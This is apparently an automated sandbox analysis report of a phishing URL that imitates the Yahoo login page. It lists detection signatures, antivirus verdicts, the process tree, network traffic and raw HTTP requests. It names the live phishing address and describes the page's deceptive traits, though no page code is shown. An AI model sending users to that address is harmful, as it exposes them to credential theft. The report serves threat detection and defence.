Edit tour

Windows Analysis Report
https://see-eim.pages.dev/login_files/loga

Overview

General Information

Sample URL:	https://see-eim.pages.dev/login_files/loga
Analysis ID:	1372728
Infos:

Detection

HTMLPhisher

Score:	64
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Phishing site detected (based on favicon image match)

Yara detected HtmlPhish10

Creates files inside the system directory

Detected non-DNS traffic on DNS port

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden URLs or javascript code

HTML title does not match URL

Classification

Process Tree

System is w10x64

chrome.exe (PID: 3300 cmdline: C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1780 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2080 --field-trial-handle=1784,i,10381931829972105823,15451008937242918815,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2472 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=8244 --field-trial-handle=1784,i,10381931829972105823,15451008937242918815,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6380 cmdline: C:\Program Files\Google\Chrome\Application\chrome.exe" "https://see-eim.pages.dev/login_files/loga MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_206	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

HTML

Source	Rule	Description	Author
0.0.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.1.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
2.2.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://see-eim.pages.dev/login_files/loga	Avira URL Cloud: detection malicious, Label: phishing
Source: https://see-eim.pages.dev/login_files/loga	SlashNext: detection malicious, Label: Credential Stealing type: Phishing & Social Engineering

Phishing

Phishing site detected (based on favicon image match)

Source: https://see-eim.pages.dev	Matcher: Template: yahoo matched with high similarity
Source: https://see-eim.pages.dev/login_files/loga	Matcher: Template: yahoo matched with high similarity
Source: https://see-eim.pages.dev/login_files/loga#/	Matcher: Template: yahoo matched with high similarity
Source: https://see-eim.pages.dev/login_files/loga#index?locale=en_US&page=product&y=PROD_ACCT	Matcher: Template: yahoo matched with high similarity

Yara detected HtmlPhish10

Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: 2.2.pages.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_206, type: DROPPED

Source: https://see-eim.pages.dev/login_files/loga	HTTP Parser: Number of links: 0
Source: https://login.yahoo.com/account/challenge/username?done=https%3A%2F%2Fmail.yahoo.com%2F&authMechanism=secondary&sessionIndex=QQ--	HTTP Parser: Number of links: 0
Source: https://login.yahoo.com/account/challenge/username?done=https%3A%2F%2Fmail.yahoo.com%2F&authMechanism=secondary&sessionIndex=Qg--	HTTP Parser: Number of links: 0
Source: https://login.yahoo.com/account/challenge/username?done=https%3A%2F%2Fmail.yahoo.com%2F&authMechanism=secondary&sessionIndex=Qw--	HTTP Parser: Number of links: 0

Source: https://see-eim.pages.dev/login_files/loga

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://b3aaf5e8612f3b3eae937ce202b533b1.safeframe.googlesyndication.com/safeframe/1-0-40/html/container.html

HTTP Parser: Base64 decoded: ai=BJCgd0yefZdiOPIPr0_wP_9298AqEqPG_RgAAABABIKGboZoBOAFYzIae54MEYMmGgIDQJLIBDXd3dy55YWhvby5jb226AQlnZnBfaW1hZ2XIAQLaARZodHRwczovL3d3dy55YWhvby5jb20vwAIC4AIA6gI0LzIyODg4MTUyMjc5L3VzL3locC9tYWluL2R0L3VzX3locF9tYWluX2R0X3RvcF9yaWdodPgCgtIekAOMBpgDpAOoAwHIA5k...

Source: https://see-eim.pages.dev/login_files/loga

HTTP Parser: Title: Yahoo -login does not match URL

Source: https://see-eim.pages.dev/login_files/loga

HTTP Parser: <input type="password" .../> found

Source: about:blank	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?kdntuid=1&p=0&gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=DBAA&gpp_sid=-1	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?kdntuid=1&p=0&gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=DBAA&gpp_sid=-1	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?kdntuid=1&p=0&gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=DBAA&gpp_sid=-1	HTTP Parser: No favicon
Source: https://tag.idsync.analytics.yahoo.com/sp-frame.html?referrer=https%3A//opus.analytics.yahoo.com/tag/opus-frame.html%3Freferrer%3Dhttps%3A//www.yahoo.com/%26tbla_id%3D53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51%26gam_id%3Dy-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T%7EA%26axids%3Dgam%3Dy-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T%7EA%26dv360%3DeS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B%26ydsp%3Dy-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG%7EA%26gdpr%3Dfalse%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26us_privacy%3D1YNN%26reset_idsync%3D1	HTTP Parser: No favicon
Source: https://opus.analytics.yahoo.com/tag/opus-frame.html?referrer=https%3A%2F%2Fwww.yahoo.com%2F&tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51&gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&axids=gam%3Dy-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A%26dv360%3DeS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B%26ydsp%3Dy-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN&reset_idsync=1	HTTP Parser: No favicon
Source: https://hb.yahoo.net/checksync.php?cid=8YHBJ3BJ0&cs=1&cv=37&hb=1&vsSync=1&prvid=25014%2C25082%2C25113%2C25307%2C25308%2C25309%2C25310&refUrl=&gdpr=0&gdprconsent=1&gdprstring=&usp_status=0&usp_consent=1&uspstring=1YNN&axid_e=&coppa=0&ckdel=0&gpp=DBAA&gpp_sid=-1	HTTP Parser: No favicon
Source: https://securepubads.g.doubleclick.net/static/topics/topics_frame.html	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?p=156078&gdpr=0&gdpr_consent=&gpp_sid=&gpp=&predirect=https%3A%2F%2Fhb.yahoo.net%2Fcksync.html%3Fcs%3D1%26vsid%3D3479308310180275000V10%26type%3Dpub%26refUrl%3D%26vid%3D49292349683479308310180275000V10%26axid_e%3D%26ovsid%3D%0A	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?p=156078&gdpr=0&gdpr_consent=&gpp_sid=&gpp=&predirect=https%3A%2F%2Fhb.yahoo.net%2Fcksync.html%3Fcs%3D1%26vsid%3D3479308310180275000V10%26type%3Dpub%26refUrl%3D%26vid%3D49292349683479308310180275000V10%26axid_e%3D%26ovsid%3D%0A	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?p=156078&gdpr=0&gdpr_consent=&gpp_sid=&gpp=&predirect=https%3A%2F%2Fhb.yahoo.net%2Fcksync.html%3Fcs%3D1%26vsid%3D3479308310180275000V10%26type%3Dpub%26refUrl%3D%26vid%3D49292349683479308310180275000V10%26axid_e%3D%26ovsid%3D%0A	HTTP Parser: No favicon
Source: https://js-sec.indexww.com/um/ixmatch.html	HTTP Parser: No favicon
Source: https://b3aaf5e8612f3b3eae937ce202b533b1.safeframe.googlesyndication.com/safeframe/1-0-40/html/container.html	HTTP Parser: No favicon
Source: https://b3aaf5e8612f3b3eae937ce202b533b1.safeframe.googlesyndication.com/safeframe/1-0-40/html/container.html	HTTP Parser: No favicon
Source: https://b3aaf5e8612f3b3eae937ce202b533b1.safeframe.googlesyndication.com/safeframe/1-0-40/html/container.html	HTTP Parser: No favicon
Source: https://s.amazon-adsystem.com/dcm?pid=3b882453-6770-4785-baf8-a598533c054a&id=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&redir=true&gdpr=0&gdpr_consent=&dcc=t	HTTP Parser: No favicon
Source: https://hb.yahoo.net/cksync?cs=63&axid_e=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ovsid=968062845637553879&dpid=58267	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?p=159463&userIdMacro=PM_UID&predirect=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3479308330180239000V10%26type%3Dpba%26refUrl%3D%26vid%3D49292354493479308330180239000V10%26axid_e%3D%26ovsid%3DPM_UID	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?p=159463&userIdMacro=PM_UID&predirect=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3479308330180239000V10%26type%3Dpba%26refUrl%3D%26vid%3D49292354493479308330180239000V10%26axid_e%3D%26ovsid%3DPM_UID	HTTP Parser: No favicon
Source: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMzMDEmdGw9MTI5NjAw&piggybackCookie=cabe22d6-b00f-11ee-b20f-088496e42def	HTTP Parser: No favicon
Source: https://eus.rubiconproject.com/usync.html?p=medianet	HTTP Parser: No favicon
Source: https://ssum-sec.casalemedia.com/usermatch?cb=https%3A%2F%2Fhb.yahoo.net%2Fcksync.php%3Fgpp%3D%26gpp_sid%3D%26cs%3D1%26vsid%3D3479308310180275000V10%26type%3Didx%26refUrl%3D%26vid%3D49292349683479308310180275000V10%26axid_e%3D%26ovsid%3D_UID_&gdpr=0&gdpr_consent=&gpp=&gpp_sid=&s=183875&C=1	HTTP Parser: No favicon
Source: blob:https://www.yahoo.com/15599b46-8f07-4d0b-b773-dc761db89624	HTTP Parser: No favicon
Source: https://hb.yahoo.net/checksync.php?vsSync=1&cs=8&cv=31&https=1&cid=8YHBJ3BJ0&prvid=25268%2C25224%2C25025%2C25146%2C25223%2C25300%2C25028%2C25027%2C25302%2C25269%2C25225%2C25304%2C25306%2C25141%2C25140%2C25220%2C25022%2C25021%2C25024%2C25145%2C25221%2C25060%2C25158%2C25235%2C25036%2C25278%2C25237%2C25159%2C25038%2C25118%2C25239%2C25117%2C25270%2C25072%2C25031%2C25030%2C25198%2C25274%2C25276%2C25071%2C25202%2C25003%2C25006%2C25204%2C25007%2C25208%2C25009%2C25282%2C25240%2C25284%2C25042%2C25088%2C25286%2C25241%2C25087%2C25043%2C25002%2C25288%2C25001%2C25243%2C25280%2C25059%2C25136%2C25135%2C25017%2C25137%2C25217%2C25019%2C25018%2C25219%2C25218%2C25292%2C25053%2C25097%2C25250%2C25052%2C25096%2C25294%2C25296%2C25134%2C25298%2C25091%2C25090%2C25290&itype=YHB&purpose1=1&gdprconsent=1&gdpr=0&coppa=0&usp_status=1&usp_consent=1&uspstring=1YNN	HTTP Parser: No favicon
Source: https://cdn.mediago.io/js/cookieSync.html?tn=41b6e88a2b85b0e731ef8e73e5558712	HTTP Parser: No favicon
Source: https://contextual.media.net/checksync.php?vsSync=1&cs=8&cv=31&https=1&cid=8CUQ66JUO&prvid=2034%2C2033%2C2031%2C2030%2C550%2C233%2C2028%2C2027%2C236%2C313%2C237%2C117%2C319%2C97%2C55%2C99%2C3012%2C3010%2C244%2C201%2C2039%2C3007%2C246%2C126%2C203%2C2012%2C2055%2C172%2C3020%2C251%2C175%2C450%2C2009%2C178%2C3018%2C3017%2C214%2C70%2C77%2C20000%2C38%2C2023%2C2022%2C141%2C460%2C462%2C222%2C80%2C108&itype=PREBID&purpose1=1&gdprconsent=1&gdpr=0&coppa=0&usp_status=1&usp_consent=1&uspstring=1YNN	HTTP Parser: No favicon
Source: https://ipac.ctnsnet.com/int/cm?exc=14&redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MTEmdGw9MjAxNjA=&piggybackCookie=[user_id]	HTTP Parser: No favicon
Source: https://core.iprom.net/cookiesync?gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://beacon.lynx.cognitivlabs.com/pbmtc.gif?puid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4	HTTP Parser: No favicon
Source: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTc4JnRsPTE1NzY4MDA=&piggybackCookie=7367141199740274687&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://image2.pubmatic.com/AdServer/Pug?gdpr=0&vcode=bz0yJnR5cGU9MSZjb2RlPTExMTMmdGw9NDMyMDA=&piggybackCookie=L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-	HTTP Parser: No favicon
Source: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNzQmdGw9MTI5NjAw&piggybackCookie=uid:Rw6Yt2Jl1RnHYF5&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzEmdGw9MTI5NjAw&piggybackCookie=iM6nzEFLWTFEkJOJAAs0EGalMCo&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI3MzkmdGw9MTI5NjAw&piggybackCookie=968062845637553879	HTTP Parser: No favicon
Source: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI5NDcmdGw9MTI5NjAw&piggybackCookie=875421843233	HTTP Parser: No favicon
Source: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM2MiZ0bD0xMjk2MDA==&piggybackCookie=uid:d579659f-27da-4200-92f9-660cb89fa4ac&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMyMDImdGw9MTI5NjAw&piggybackCookie=e9qoKPUsCQSvHM9C2yefZQ	HTTP Parser: No favicon
Source: https://contextual.media.net/cksync.php?cs=8&vsid=3479308330180239000V10&type=pba&refUrl=&vid=49292354493479308330180239000V10&axid_e=&ovsid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4	HTTP Parser: No favicon
Source: https://s.tribalfusion.com/z/i.match?p=b11&redirect=https%3A//simage2.pubmatic.com/AdServer/Pug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTMzMjYmdGw9MTI5NjAw%26piggybackCookie%3D%24TF_USER_ID_ENC%24&u=${PUBMATIC_UID}	HTTP Parser: No favicon
Source: https://sync-tm.everesttech.net/upi/pid/b9pj45k4?redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MjE5MSZ0bD0yNTkyMDA=&piggybackCookie=${TM_USER_ID}&gdpr=1&gdpr_consent=	HTTP Parser: No favicon
Source: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMyOTcmdGw9MTI5NjAw&piggybackCookie=AABsm07LPlAAABMLLoldYg&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzAmdGw9MTI5NjAw&piggybackCookie=di_1673c61b98ba4fbcabc0c	HTTP Parser: No favicon
Source: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTE5MjgmdGw9NDMyMDA=&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0ODkmdGw9NDMyMDA=&piggybackCookie=OPU94c5f6bfc10e4266866ca02b6e163de0	HTTP Parser: No favicon
Source: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNzMmdGw9MTI5NjAw&piggybackCookie=Q7582156461311061263	HTTP Parser: No favicon
Source: https://a.tribalfusion.com/i.match?p=b11&redirect=https%3A//simage2.pubmatic.com/AdServer/Pug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTMzMjYmdGw9MTI5NjAw%26piggybackCookie%3D%24TF_USER_ID_ENC%24&u=${PUBMATIC_UID}	HTTP Parser: No favicon
Source: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMyMDMmdGw9NDMyMDA=&piggybackCookie=RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005	HTTP Parser: No favicon
Source: https://hb.yahoo.net/checksync.php?cid=8YHBJ3BJ0&cs=1&cv=37&hb=1&vsSync=1&prvid=25014,25082,25113,25307,25308,25309,25310&refUrl=&gdpr=0&gdprconsent=1&gdprstring=&usp_status=0&usp_consent=1&uspstring=1YNN&axid_e=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&coppa=0&ckdel=0&gpp=DBAA&gpp_sid=-1	HTTP Parser: No favicon
Source: https://tpc.googlesyndication.com/sodar/sodar2/225/runner.html	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/aframe	HTTP Parser: No favicon

Source: https://see-eim.pages.dev/login_files/loga	HTTP Parser: No <meta name="author".. found
Source: https://login.yahoo.com/account/challenge/username?done=https%3A%2F%2Fmail.yahoo.com%2F&authMechanism=secondary&sessionIndex=QQ--	HTTP Parser: No <meta name="author".. found
Source: https://login.yahoo.com/account/challenge/username?done=https%3A%2F%2Fmail.yahoo.com%2F&authMechanism=secondary&sessionIndex=Qg--	HTTP Parser: No <meta name="author".. found
Source: https://login.yahoo.com/account/challenge/username?done=https%3A%2F%2Fmail.yahoo.com%2F&authMechanism=secondary&sessionIndex=Qw--	HTTP Parser: No <meta name="author".. found

Source: https://see-eim.pages.dev/login_files/loga	HTTP Parser: No <meta name="copyright".. found
Source: https://login.yahoo.com/account/challenge/username?done=https%3A%2F%2Fmail.yahoo.com%2F&authMechanism=secondary&sessionIndex=QQ--	HTTP Parser: No <meta name="copyright".. found
Source: https://login.yahoo.com/account/challenge/username?done=https%3A%2F%2Fmail.yahoo.com%2F&authMechanism=secondary&sessionIndex=Qg--	HTTP Parser: No <meta name="copyright".. found
Source: https://login.yahoo.com/account/challenge/username?done=https%3A%2F%2Fmail.yahoo.com%2F&authMechanism=secondary&sessionIndex=Qw--	HTTP Parser: No <meta name="copyright".. found

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Source: unknown	HTTPS traffic detected: 23.51.58.94:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.51.58.94:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.51.58.94:443 -> 192.168.2.4:49749 version: TLS 1.2

Source: global traffic

TCP traffic: 192.168.2.4:50050 -> 1.1.1.1:53

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 72.21.81.240
Source: unknown	TCP traffic detected without corresponding DNS query: 72.21.81.240
Source: unknown	TCP traffic detected without corresponding DNS query: 72.21.81.240
Source: unknown	TCP traffic detected without corresponding DNS query: 72.21.81.240
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 64.202.112.255
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 64.202.112.255
Source: unknown	TCP traffic detected without corresponding DNS query: 64.202.112.255
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 64.202.112.255
Source: unknown	TCP traffic detected without corresponding DNS query: 64.202.112.255
Source: unknown	TCP traffic detected without corresponding DNS query: 64.202.112.255
Source: unknown	TCP traffic detected without corresponding DNS query: 64.202.112.255
Source: unknown	TCP traffic detected without corresponding DNS query: 64.202.112.255
Source: unknown	TCP traffic detected without corresponding DNS query: 64.202.112.255
Source: unknown	TCP traffic detected without corresponding DNS query: 64.202.112.255
Source: unknown	TCP traffic detected without corresponding DNS query: 64.202.112.255
Source: unknown	TCP traffic detected without corresponding DNS query: 64.202.112.255
Source: unknown	TCP traffic detected without corresponding DNS query: 64.202.112.255
Source: unknown	TCP traffic detected without corresponding DNS query: 64.202.112.255
Source: unknown	TCP traffic detected without corresponding DNS query: 64.202.112.255
Source: unknown	TCP traffic detected without corresponding DNS query: 64.202.112.255
Source: unknown	TCP traffic detected without corresponding DNS query: 64.202.112.255
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=117.0.5938.132&lang=en-US&acceptformat=crx3,puff&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DONGR%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1Host: clients2.google.comConnection: keep-aliveX-Goog-Update-Interactivity: fgX-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmiedaX-Goog-Update-Updater: chromecrx-117.0.5938.132Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /login_files/loga HTTP/1.1Host: see-eim.pages.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rz/p/yahoo_frontpage_en-US_s_f_p_bestfit_frontpage_2x.png HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://see-eim.pages.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /login_files/login_files/loga HTTP/1.1Host: see-eim.pages.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://see-eim.pages.dev/login_files/logaAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rz/p/yahoo_frontpage_en-US_s_f_p_bestfit_frontpage_2x.png HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wm/mbr/images/yahoo-favicon-img-v0.0.2.ico HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://see-eim.pages.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wm/mbr/images/yahoo-favicon-img-v0.0.2.ico HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
